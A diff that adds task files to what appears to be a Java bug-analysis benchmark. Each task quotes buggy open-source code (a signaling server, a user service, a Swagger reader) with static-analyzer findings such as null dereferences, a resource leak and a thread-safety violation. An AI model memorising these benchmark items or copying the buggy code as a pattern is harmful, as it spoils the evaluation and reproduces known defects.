+        new IoXmlFilmlisteSchreiben().filmeSchreiben(Daten.getBasisVerzeichnis(true) + Konstanten.XML_DATEI_FILME, Daten.listeFilme);
+        if (!output.equals("")) {
+            LinkedList<String> out = new LinkedList<String>();
+            String tmp;
+            do {
+                if (output.startsWith(",")) {
+                    output = output.substring(1);
+                }
+                if (output.contains(",")) {
+                    tmp = output.substring(0, output.indexOf(","));
+                    output = output.substring(output.indexOf(","));
+                    out.add(tmp);
+                } else {
+                    out.add(output);
+                }
+            } while (output.contains(","));
+            Iterator<String> it = out.iterator();
+            while (it.hasNext()) {
+                //datei schreiben
+                new IoXmlFilmlisteSchreiben().filmeSchreiben(it.next(), Daten.listeFilme);
+            }
+        }
+        Log.printEndeMeldung();
+        if (exit) {
+            // nur dann das Programm beenden
+            if (Daten.listeFilme.isEmpty()) {
+                //Satz mit x, war wohl nix
+                System.exit(1);
+            } else {
+                System.exit(0);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `mediathek.MediathekNoGui.starten` indirectly writes to field `daten.Daten.mediathek.daten.Daten.filmeLaden` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MediathekNoGui.starten()
+
+### Procedure Id:
+mediathek.MediathekNoGui.starten():void.7e883e72d9a21d316edba27b85aa617d
+
+### File:
+src/mediathek/MediathekNoGui.java
+
+### Key:
+MediathekNoGui.java|starten|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6d3be0425e8f30d205f96f3623bd7987
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8991/instruction.md b/inferredbugs-8991/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..31f93962d4e70c472ce9b7872e5fbfaa377e29bd
--- /dev/null
+++ b/inferredbugs-8991/instruction.md
@@ -0,0 +1,118 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nextrtc-signaling-server
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.nextrtc.signalingserver.domain;
+
+import lombok.extern.log4j.Log4j;
+import org.springframework.context.annotation.Scope;
+import org.springframework.stereotype.Component;
+
+import javax.websocket.RemoteEndpoint;
+import javax.websocket.Session;
+
+@Component
+@Scope("singleton")
+@Log4j
+public class DefaultMessageSender implements MessageSender {
+
+    @Override
+    public void send(InternalMessage message) {
+        send(message, 3);
+    }
+
+    private void send(InternalMessage message, int retry) {
+        Message messageToSend = message.transformToExternalMessage();
+        if (message.getSignal() != Signal.PING) {
+            log.info("Outgoing: " + toString());
+        }
+        Session destSession = message.getTo().getSession();
+        if (!destSession.isOpen()) {
+            log.warn("Session is closed! Message will not be send: ");
+            return;
+        }
+        try {
+            RemoteEndpoint.Basic basic = destSession.getBasicRemote();
+            synchronized (basic) {
+                basic.sendObject(messageToSend);
+            }
+        } catch (Exception e) {
+            if (retry >= 0) {
+                log.info("Retrying... " + messageToSend);
+                send(message, --retry);
+            }
+            log.error("Unable to send message: " + messageToSend + " error during sending!");
+            throw new RuntimeException("Unable to send message: " + messageToSend, e);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `message.getTo()` could be null and is dereferenced at line 25.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DefaultMessageSender.send(InternalMessage,int)
+
+### Procedure Id:
+org.nextrtc.signalingserver.domain.DefaultMessageSender.send(org.nextrtc.signalingserver.domain.Inte.77a7e39a87d13ebb6d0f6f223809bf10
+
+### File:
+src/main/java/org/nextrtc/signalingserver/domain/DefaultMessageSender.java
+
+### Key:
+DefaultMessageSender.java|send|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+871eac6435f1470c04e4aa9510200683
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8996/instruction.md b/inferredbugs-8996/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fb612229b813728b9542ff840df450268c3c1b81
--- /dev/null
+++ b/inferredbugs-8996/instruction.md
@@ -0,0 +1,202 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nextrtc-signaling-server
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.nextrtc.signalingserver.domain;
+
+import lombok.extern.log4j.Log4j;
+import org.apache.commons.lang3.tuple.Pair;
+import org.nextrtc.signalingserver.api.NextRTCEventBus;
+import org.nextrtc.signalingserver.cases.RegisterMember;
+import org.nextrtc.signalingserver.cases.SignalHandler;
+import org.nextrtc.signalingserver.domain.InternalMessage.InternalMessageBuilder;
+import org.nextrtc.signalingserver.exception.SignalingException;
+import org.nextrtc.signalingserver.repository.MemberRepository;
+import org.springframework.stereotype.Component;
+
+import javax.inject.Inject;
+import javax.websocket.CloseReason;
+import javax.websocket.Session;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.function.Consumer;
+
+import static org.nextrtc.signalingserver.api.NextRTCEvents.SESSION_CLOSED;
+import static org.nextrtc.signalingserver.api.NextRTCEvents.UNEXPECTED_SITUATION;
+import static org.nextrtc.signalingserver.exception.Exceptions.MEMBER_NOT_FOUND;
+
+@Log4j
+@Component
+public class Server {
+
+    private NextRTCEventBus eventBus;
+    private MemberRepository members;
+    private SignalResolver resolver;
+    private RegisterMember register;
+
+    @Inject
+    public Server(NextRTCEventBus eventBus,
+                  MemberRepository members,
+                  SignalResolver resolver,
+                  RegisterMember register) {
+        this.eventBus = eventBus;
+        this.members = members;
+        this.resolver = resolver;
+        this.register = register;
+    }
+
+    public void register(Session s) {
+        doSaveExecution(s, session ->
+                register.incoming(session)
+        );
+    }
+
+    public void handle(Message external, Session s) {
+        doSaveExecution(s, session -> {
+            Pair<Signal, SignalHandler> resolve = resolver.resolve(external.getSignal());
+            InternalMessage internalMessage = buildInternalMessage(external, resolve.getKey(), session);
+            processMessage(resolve.getValue(), internalMessage);
+        });
+    }
+
+    private void processMessage(SignalHandler handler, InternalMessage message) {
+        log.info("Incoming: " + message);
+        if (handler != null) {
+            handler.execute(message);
+        }
+    }
+
+    private InternalMessage buildInternalMessage(Message message, Signal signal, Session session) {
+        InternalMessageBuilder bld = InternalMessage.create()//
+                .from(findMember(session))//
+                .content(message.getContent())//
+                .signal(signal)//
+                .custom(message.getCustom());
+        members.findBy(message.getTo()).ifPresent(bld::to);
+        return bld.build();
+    }
+
+    private Member findMember(Session session) {
+        return members.findBy(session.getId()).orElseThrow(() -> new SignalingException(MEMBER_NOT_FOUND));
+    }
+
+    public void unregister(Session s, CloseReason reason) {
+        doSaveExecution(s, session -> {
+                    members.unregister(session.getId());
+                    eventBus.post(SESSION_CLOSED.occurFor(session, reason.getReasonPhrase()));
+                }
+        );
+    }
+
+
+    public void handleError(Session s, Throwable exception) {
+        doSaveExecution(new SessionWrapper(s), session -> {
+                    members.unregister(session.getId());
+                    eventBus.post(UNEXPECTED_SITUATION.occurFor(session, exception.getMessage()));
+                }
+        );
+    }
+
+    private void doSaveExecution(Session session, Consumer<Session> action) {
+        try {
+            action.accept(session);
+        } catch (Exception e) {
+            log.warn("Server will try to handle this exception and send information as normal message through websocket", e);
+            sendErrorOverWebSocket(session, e);
+        }
+    }
+
+    private void sendErrorOverWebSocket(Session session, Exception e) {
+        try {
+            InternalMessage.create()
+                    .to(new Member(session, null))
+                    .signal(Signal.ERROR)
+                    .content(e.getMessage())
+                    .addCustom("stackTrace", writeStackTraceToString(e))
+                    .build()
+                    .send();
+        } catch (Exception resendException) {
+            log.error("Something goes wrong during resend! Exception omitted", resendException);
+        }
+    }
+
+    private String writeStackTraceToString(Exception e) {
+        if (log.isDebugEnabled()) {
+            StringWriter errors = new StringWriter();
+            e.printStackTrace(new PrintWriter(errors));
+            return errors.toString();
+        }
+        return e.getClass().getSimpleName() + " - " + e.getMessage();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.nextrtc.signalingserver.domain.SessionWrapper` acquired by call to `new()` at line 89 is not released after line 89.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Server.handleError(Session,Throwable)
+
+### Procedure Id:
+org.nextrtc.signalingserver.domain.Server.handleError(javax.websocket.Session,java.lang.Throwable):v.6e2e2badd07b4f595e8e9ebb2c4f6e58
+
+### File:
+src/main/java/org/nextrtc/signalingserver/domain/Server.java
+
+### Key:
+Server.java|handleError|RESOURCE_LEAK
+
+### Node Key:
+347fa73353724c6492972600ff422a93
+
+### Hash:
+cd157388ba28df157d322f060d3fbdea
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8997/instruction.md b/inferredbugs-8997/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6d772ed4274684e2caaaaafedd9805d68aae40ce
--- /dev/null
+++ b/inferredbugs-8997/instruction.md
@@ -0,0 +1,356 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fw-cloud-framework
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.liuweijw.business.admin.service.impl;
+
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.cache.annotation.CacheEvict;
+import org.springframework.cache.annotation.Cacheable;
+import org.springframework.data.domain.Page;
+import org.springframework.data.domain.PageRequest;
+import org.springframework.data.domain.Sort;
+import org.springframework.data.redis.core.RedisTemplate;
+import org.springframework.stereotype.Component;
+import org.springframework.transaction.annotation.Transactional;
+
+import com.github.liuweijw.business.admin.beans.UserBean;
+import com.github.liuweijw.business.admin.beans.UserForm;
+import com.github.liuweijw.business.admin.cache.AdminCacheKey;
+import com.github.liuweijw.business.admin.domain.QRole;
+import com.github.liuweijw.business.admin.domain.QUser;
+import com.github.liuweijw.business.admin.domain.QUserRole;
+import com.github.liuweijw.business.admin.domain.Role;
+import com.github.liuweijw.business.admin.domain.User;
+import com.github.liuweijw.business.admin.domain.UserRole;
+import com.github.liuweijw.business.admin.repository.UserRepository;
+import com.github.liuweijw.business.admin.repository.UserRoleRepository;
+import com.github.liuweijw.business.admin.service.PermissionService;
+import com.github.liuweijw.business.admin.service.UserService;
+import com.github.liuweijw.business.commons.beans.PageBean;
+import com.github.liuweijw.business.commons.beans.PageParams;
+import com.github.liuweijw.business.commons.web.jpa.JPAFactoryImpl;
+import com.github.liuweijw.core.beans.system.AuthRole;
+import com.github.liuweijw.core.beans.system.AuthUser;
+import com.github.liuweijw.core.commons.constants.SecurityConstant;
+import com.github.liuweijw.core.utils.StringHelper;
+import com.querydsl.core.types.Predicate;
+
+@Component
+public class UserServiceImpl extends JPAFactoryImpl implements UserService {
+
+	@Autowired
+	private UserRepository		userRepository;
+
+	@SuppressWarnings("rawtypes")
+	@Autowired
+	private RedisTemplate		redisTemplate;
+
+	@Autowired
+	private PermissionService	permissionService;
+
+	@Autowired
+	private UserRoleRepository	userRoleRepository;
+
+	@Override
+	@Cacheable(value = AdminCacheKey.USER_INFO, key = "'user_' + #username")
+	public AuthUser findUserByUsername(String username) {
+		User user = findUserByUsername(username, true);
+
+		return buildAuthUserByUser(user);
+	}
+
+	@Override
+	public User findUserByUsername(String username, boolean isLoadRole) {
+
+		if (StringHelper.isBlank(username)) return null;
+
+		User user = userRepository.findUserByUsername(username.trim());
+		if (null == user) return null;
+
+		if (isLoadRole) user.setRoleList(findRoleListByUserId(user.getUserId()));
+
+		return user;
+	}
+
+	@Override
+	@Cacheable(value = AdminCacheKey.USER_INFO, key = "'user_' + #mobile")
+	public AuthUser findUserByMobile(String mobile) {
+		User user = userRepository.findUserByMobile(mobile.trim());
+		if (null == user) return null;
+
+		user.setRoleList(findRoleListByUserId(user.getUserId()));
+
+		return buildAuthUserByUser(user);
+	}
+
+	public List<Role> findRoleListByUserId(Integer userId) {
+		if (null == userId) return null;
+
+		// load role
+		QUserRole qUserRole = QUserRole.userRole;
+		QRole qRole = QRole.role;
+		List<Role> rList = this.queryFactory.select(qRole).from(qUserRole, qRole).where(
+				qUserRole.userId.eq(userId)).where(qUserRole.roleId.eq(qRole.roleId)).fetch();
+
+		return rList;
+	}
+
+	@Override
+	@SuppressWarnings("unchecked")
+	public void saveImageCode(String randomStr, String imageCode) {
+		redisTemplate.opsForValue().set(SecurityConstant.DEFAULT_CODE_KEY + randomStr, imageCode,
+				SecurityConstant.DEFAULT_IMAGE_EXPIRE, TimeUnit.SECONDS);
+	}
+
+	@Override
+	public UserBean findUserInfo(AuthUser user) {
+		User dbUser = findUserByUsername(user.getUsername(), false);
+
+		UserBean userInfo = new UserBean();
+		// 过滤关键信息
+		dbUser.setPassword("");
+		dbUser.setCreateTime(null);
+		dbUser.setUpdateTime(null);
+		userInfo.setUser(dbUser);
+
+		// 设置角色列表
+		List<AuthRole> roleList = user.getRoleList();
+		List<String> roleCodes = new ArrayList<>();
+
+		roleList.stream().forEach(r -> {
+			roleCodes.add(r.getRoleCode());
+		});
+
+		String[] roles = roleCodes.toArray(new String[roleCodes.size()]);
+
+		userInfo.setRoles(roles);
+
+		// 设置权限列表（menu.permission）
+		Set<String> permissions = new HashSet<String>();
+		for (String roleCode : roles) {
+			permissions.addAll(permissionService.findMenuPermissions(roleCode));
+		}
+
+		userInfo.setPermissions(permissions.toArray(new String[permissions.size()]));
+
+		return userInfo;
+	}
+
+	@Override
+	@Cacheable(value = AdminCacheKey.USER_INFO, key = "'user_' + #userId")
+	public AuthUser findByUserId(String userId) {
+		User user = userRepository.findUserByUserId(Integer.valueOf(userId));
+		if (null == user) return null;
+
+		user.setRoleList(findRoleListByUserId(user.getUserId()));
+
+		return buildAuthUserByUser(user);
+	}
+
+	private AuthUser buildAuthUserByUser(User user) {
+		if (null == user) return null;
+
+		AuthUser authUser = new AuthUser();
+		authUser.setPicUrl(user.getPicUrl());
+		authUser.setStatu(user.getStatu());
+		authUser.setPassword(user.getPassword());
+		authUser.setUserId(user.getUserId());
+		authUser.setUsername(user.getUsername());
+
+		if (null == user.getRoleList() || user.getRoleList().size() == 0) return authUser;
+		List<AuthRole> rList = new ArrayList<AuthRole>();
+		for (Role r : user.getRoleList()) {
+			AuthRole aRole = new AuthRole();
+			aRole.setStatu(r.getStatu());
+			aRole.setRoleCode(r.getRoleCode());
+			aRole.setRoleDesc(r.getRoleDesc());
+			aRole.setRoleId(r.getRoleId());
+			aRole.setRoleName(r.getRoleName());
+			rList.add(aRole);
+		}
+		authUser.setRoleList(rList);
+
+		return authUser;
+	}
+
+	@Override
+	public PageBean<User> findAll(PageParams pageParams, User user) {
+		QUser qUser = QUser.user;
+		// 用户名查询条件
+		Predicate qUserNamePredicate = null;
+		if (null != user && StringHelper.isNotBlank(user.getUsername())) {
+			qUserNamePredicate = qUser.username.like("%" + user.getUsername().trim() + "%");
+		}
+
+		Predicate predicate = qUser.statu.eq(0).and(qUserNamePredicate);
+
+		Sort sort = new Sort(new Sort.Order(Sort.Direction.DESC, "createTime"));
+		PageRequest pageRequest = new PageRequest(pageParams.getCurrentPage(), pageParams
+				.getPageSize(), sort);
+		Page<User> pageList = userRepository.findAll(predicate, pageRequest);
+
+		if (null != pageList && null != pageList.getContent()) {
+			for (User dbUser : pageList.getContent()) {
+				dbUser.setRoleList(findRoleListByUserId(dbUser.getUserId()));
+			}
+		}
+
+		PageBean<User> pageData = new PageBean<User>();
+		pageData.setCurrentPage(pageParams.getCurrentPage());
+		pageData.setPageSize(pageParams.getPageSize());
+		pageData.setTotal(pageList.getTotalElements());
+		pageData.setList(pageList.getContent());
+
+		return pageData;
+	}
+
+	@Override
+	@Transactional
+	public Boolean delByUserId(Integer userId) {
+		if (null == userId || userId <= 0) return Boolean.FALSE;
+
+		QUser qUser = QUser.user;
+		long num = this.queryFactory.update(qUser).set(qUser.statu, 1) // 0 正常 1删除
+				.where(qUser.userId.eq(userId.intValue())).execute();
+
+		this.redisCacheClear();
+		return num > 0;
+	}
+
+	@Override
+	@Transactional
+	public boolean addUserAndRole(User user, Integer roleId) {
+
+		User dbUser = this.userRepository.saveAndFlush(user);
+
+		UserRole uRole = new UserRole();
+		uRole.setRoleId(roleId);
+		uRole.setUserId(dbUser.getUserId());
+
+		this.userRoleRepository.saveAndFlush(uRole);
+		this.redisCacheClear();
+		return true;
+	}
+
+	@Override
+	@Transactional
+	public boolean updateUserAndRole(UserForm userForm) {
+		if (null == userForm.getUserId() || userForm.getUserId() <= 0) return Boolean.FALSE;
+
+		User user = userRepository.findUserByUserId(userForm.getUserId());
+		if (null == user) return false;
+
+		user.setStatu(userForm.getStatu());
+		user.setUpdateTime(new Date());
+		user.setUserId(userForm.getUserId());
+		user.setUsername(userForm.getUsername());
+		userRepository.save(user);
+
+		QUserRole qUserRole = QUserRole.userRole;
+
+		this.queryFactory.delete(qUserRole).where(qUserRole.userId.eq(userForm.getUserId()))
+				.execute();
+
+		UserRole uRole = new UserRole();
+		uRole.setRoleId(userForm.getRoleId());
+		uRole.setUserId(userForm.getUserId());
+
+		this.userRoleRepository.saveAndFlush(uRole);
+
+		this.redisCacheClear();
+		return true;
+	}
+
+	@Override
+	@Transactional
+	public boolean updateUser(User user) {
+		if (null == user || null == user.getUserId()) return false;
+
+		this.userRepository.saveAndFlush(user);
+
+		this.redisCacheClear();
+		return true;
+	}
+
+	@CacheEvict(value = { AdminCacheKey.USER_INFO }, allEntries = true)
+	public void redisCacheClear() {
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `pageList` last assigned on line 194 could be null and is dereferenced at line 205.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+PageBean UserServiceImpl.findAll(PageParams,User)
+
+### Procedure Id:
+com.github.liuweijw.business.admin.service.impl.UserServiceImpl.findAll(com.github.liuweijw.business.1367f09491a45c507804296c98e0d325
+
+### File:
+fw-cloud-business/fw-cloud-business-admin/src/main/java/com/github/liuweijw/business/admin/service/impl/UserServiceImpl.java
+
+### Key:
+UserServiceImpl.java|findAll|NULL_DEREFERENCE
+
+### Node Key:
+5e001e54a11c8632051468f614c7e799
+
+### Hash:
+4023a11b439fadd7f6c99656b1a3b106
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8998/instruction.md b/inferredbugs-8998/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9657e5d476db4caee035db330670085ae1b706f9
--- /dev/null
+++ b/inferredbugs-8998/instruction.md
@@ -0,0 +1,682 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** swagger-maven-plugin
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.kongchen.swagger.docgen.reader;
+
+import com.fasterxml.jackson.annotation.JsonTypeInfo;
+import io.swagger.models.properties.StringProperty;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+import javax.ws.rs.Consumes;
+import javax.ws.rs.DELETE;
+import javax.ws.rs.GET;
+import javax.ws.rs.HEAD;
+import javax.ws.rs.HttpMethod;
+import javax.ws.rs.OPTIONS;
+import javax.ws.rs.POST;
+import javax.ws.rs.PUT;
+import javax.ws.rs.Path;
+import javax.ws.rs.Produces;
+
+import org.apache.commons.lang3.StringUtils;
+import org.apache.maven.plugin.logging.Log;
+import org.reflections.Reflections;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.core.annotation.AnnotationUtils;
+
+import com.github.kongchen.swagger.docgen.jaxrs.BeanParamInjectParamExtension;
+import com.github.kongchen.swagger.docgen.jaxrs.JaxrsParameterExtension;
+import io.swagger.annotations.Api;
+import io.swagger.annotations.ApiOperation;
+import io.swagger.annotations.ApiResponses;
+import io.swagger.annotations.Authorization;
+import io.swagger.annotations.AuthorizationScope;
+import io.swagger.annotations.SwaggerDefinition;
+import io.swagger.converter.ModelConverters;
+import io.swagger.jaxrs.ext.SwaggerExtension;
+import io.swagger.jaxrs.ext.SwaggerExtensions;
+import io.swagger.jersey.SwaggerJerseyJaxrs;
+import io.swagger.models.ArrayModel;
+import io.swagger.models.Model;
+import io.swagger.models.ModelImpl;
+import io.swagger.models.Operation;
+import io.swagger.models.Response;
+import io.swagger.models.SecurityRequirement;
+import io.swagger.models.Swagger;
+import io.swagger.models.Tag;
+import io.swagger.models.parameters.BodyParameter;
+import io.swagger.models.parameters.Parameter;
+import io.swagger.models.parameters.RefParameter;
+import io.swagger.models.properties.Property;
+import io.swagger.models.properties.RefProperty;
+import io.swagger.models.refs.RefType;
+import io.swagger.util.BaseReaderUtils;
+import io.swagger.util.ReflectionUtils;
+
+public class JaxrsReader extends AbstractReader implements ClassSwaggerReader {
+    private static final Logger LOGGER = LoggerFactory.getLogger(JaxrsReader.class);
+    private static final ResponseContainerConverter RESPONSE_CONTAINER_CONVERTER = new ResponseContainerConverter();
+
+  public JaxrsReader(Swagger swagger, Log LOG) {
+        super(swagger, LOG);
+    }
+
+    @Override
+    protected void updateExtensionChain() {
+        List<SwaggerExtension> extensions = new ArrayList<>();
+        extensions.add(new BeanParamInjectParamExtension(this));
+        extensions.add(new SwaggerJerseyJaxrs());
+        extensions.add(new JaxrsParameterExtension());
+        SwaggerExtensions.setExtensions(extensions);
+    }
+
+    @Override
+    public Swagger read(Set<Class<?>> classes) {
+        for (Class<?> cls : classes) {
+            read(cls);
+        }
+        return swagger;
+    }
+
+    public Swagger getSwagger() {
+        return swagger;
+    }
+
+    public Swagger read(Class<?> cls) {
+        return read(cls, "", null, false, new String[0], new String[0], new HashMap<String, Tag>(), new ArrayList<Parameter>());
+    }
+
+    protected Swagger read(Class<?> cls, String parentPath, String parentMethod, boolean readHidden, String[] parentConsumes,
+            String[] parentProduces, Map<String, Tag> parentTags, List<Parameter> parentParameters) {
+        if (swagger == null) {
+            swagger = new Swagger();
+        }
+        Api api = AnnotationUtils.findAnnotation(cls, Api.class);
+        Path apiPath = AnnotationUtils.findAnnotation(cls, Path.class);
+
+        // only read if allowing hidden apis OR api is not marked as hidden
+        if (!canReadApi(readHidden, api)) {
+            return swagger;
+        }
+
+        Map<String, Tag> tags = updateTagsForApi(parentTags, api);
+        List<SecurityRequirement> securities = getSecurityRequirements(api);
+        Map<String, Tag> discoveredTags = scanClasspathForTags();
+
+        // merge consumes, produces
+
+        readCommonParameters(cls);
+
+        // look for method-level annotated properties
+
+        // handle subresources by looking at return type
+
+        // parse the method
+        List<Method> filteredMethods = getFilteredMethods(cls);
+        for (Method method : filteredMethods) {
+            ApiOperation apiOperation = AnnotationUtils.findAnnotation(method, ApiOperation.class);
+            if (apiOperation != null && apiOperation.hidden()) {
+                continue;
+            }
+            Path methodPath = AnnotationUtils.findAnnotation(method, Path.class);
+
+            String parentPathValue = String.valueOf(parentPath);
+            //is method default handler within a subresource
+            if(apiPath == null && methodPath == null && parentPath != null && readHidden){
+                final String updatedMethodPath = String.valueOf(parentPath);
+                Path path = new Path(){
+                    @Override
+                    public String value(){
+                        return updatedMethodPath;
+                    }
+
+                    @Override
+                    public Class<? extends Annotation> annotationType() {
+                        return Path.class;
+                    }
+                };
+                methodPath = path;
+                parentPathValue = null;
+            }
+            String operationPath = getPath(apiPath, methodPath, parentPathValue);
+            if (operationPath != null) {
+                Map<String, String> regexMap = new HashMap<>();
+                operationPath = parseOperationPath(operationPath, regexMap);
+
+                String httpMethod = extractOperationMethod(apiOperation, method, SwaggerExtensions.chain());
+
+                Operation operation = parseMethod(httpMethod, method);
+                updateOperationParameters(parentParameters, regexMap, operation);
+                updateOperationProtocols(apiOperation, operation);
+
+                String[] apiConsumes = new String[0];
+                String[] apiProduces = new String[0];
+
+                Consumes consumes = AnnotationUtils.findAnnotation(cls, Consumes.class);
+                if (consumes != null) {
+                    apiConsumes = consumes.value();
+                }
+                Produces produces = AnnotationUtils.findAnnotation(cls, Produces.class);
+                if (produces != null) {
+                    apiProduces = produces.value();
+                }
+
+                apiConsumes = updateOperationConsumes(parentConsumes, apiConsumes, operation);
+                apiProduces = updateOperationProduces(parentProduces, apiProduces, operation);
+
+                handleSubResource(apiConsumes, httpMethod, apiProduces, tags, method, apiOperation, operationPath, operation);
+
+                // can't continue without a valid http method
+                httpMethod = (httpMethod == null) ? parentMethod : httpMethod;
+                updateTagsForOperation(operation, apiOperation);
+                updateOperation(apiConsumes, apiProduces, tags, securities, operation);
+                updatePath(operationPath, httpMethod, operation);
+            }
+            updateTagDescriptions(discoveredTags);
+        }
+
+        return swagger;
+    }
+
+    private List<Method> getFilteredMethods(Class<?> cls) {
+        Method[] methods = cls.getMethods();
+        List<Method> filteredMethods = new ArrayList<>();
+        for (Method method : methods) {
+            if (!method.isBridge()) {
+                filteredMethods.add(method);
+            }
+        }
+        return filteredMethods;
+    }
+
+    /**
+     * Returns true when the swagger object already contains a common parameter
+     * with the same name and type as the passed parameter.
+     * 
+     * @param parameter The parameter to check.
+     * @return true if the swagger object already contains a common parameter with the same name and type
+     */
+    private boolean hasCommonParameter(Parameter parameter) {
+        Parameter commonParameter = swagger.getParameter(parameter.getName());
+        return commonParameter != null && parameter.getIn().equals(commonParameter.getIn());
+    }
+
+    private void readCommonParameters(Class<?> cls) {
+        Path path = AnnotationUtils.findAnnotation(cls, Path.class);
+        if (path != null) {
+            return;
+        }
+
+        List<Method> filteredMethods = getFilteredMethods(cls);
+        for (Method method : filteredMethods) {
+            path = AnnotationUtils.findAnnotation(method, Path.class);
+            if (path != null) {
+                return;
+            }
+
+            String httpMethod = extractOperationMethod(null, method, SwaggerExtensions.chain());
+            if (httpMethod != null) {
+                return;
+            }
+        }
+
+        Field[] fields = cls.getDeclaredFields();
+        for (Field field : fields) {
+            Annotation[] annotations = field.getAnnotations();
+            if (annotations.length > 0) {
+                List<Parameter> params = getParameters(cls, Arrays.asList(annotations));
+                for (Parameter param : params) {
+                    if (hasCommonParameter(param)) {
+                        String msg = "[" + cls.getCanonicalName() + "] Redefining common parameter '" + param.getName()
+                            + "' already defined elsewhere";
+                        throw new RuntimeException(msg);
+                    }
+                    swagger.addParameter(param.getName(), param);
+                }
+            }
+        }
+    }
+
+    private void updateTagDescriptions(Map<String, Tag> discoveredTags) {
+        if (swagger.getTags() != null) {
+            for (Tag tag : swagger.getTags()) {
+                Tag rightTag = discoveredTags.get(tag.getName());
+                if (rightTag != null && rightTag.getDescription() != null) {
+                    tag.setDescription(rightTag.getDescription());
+                }
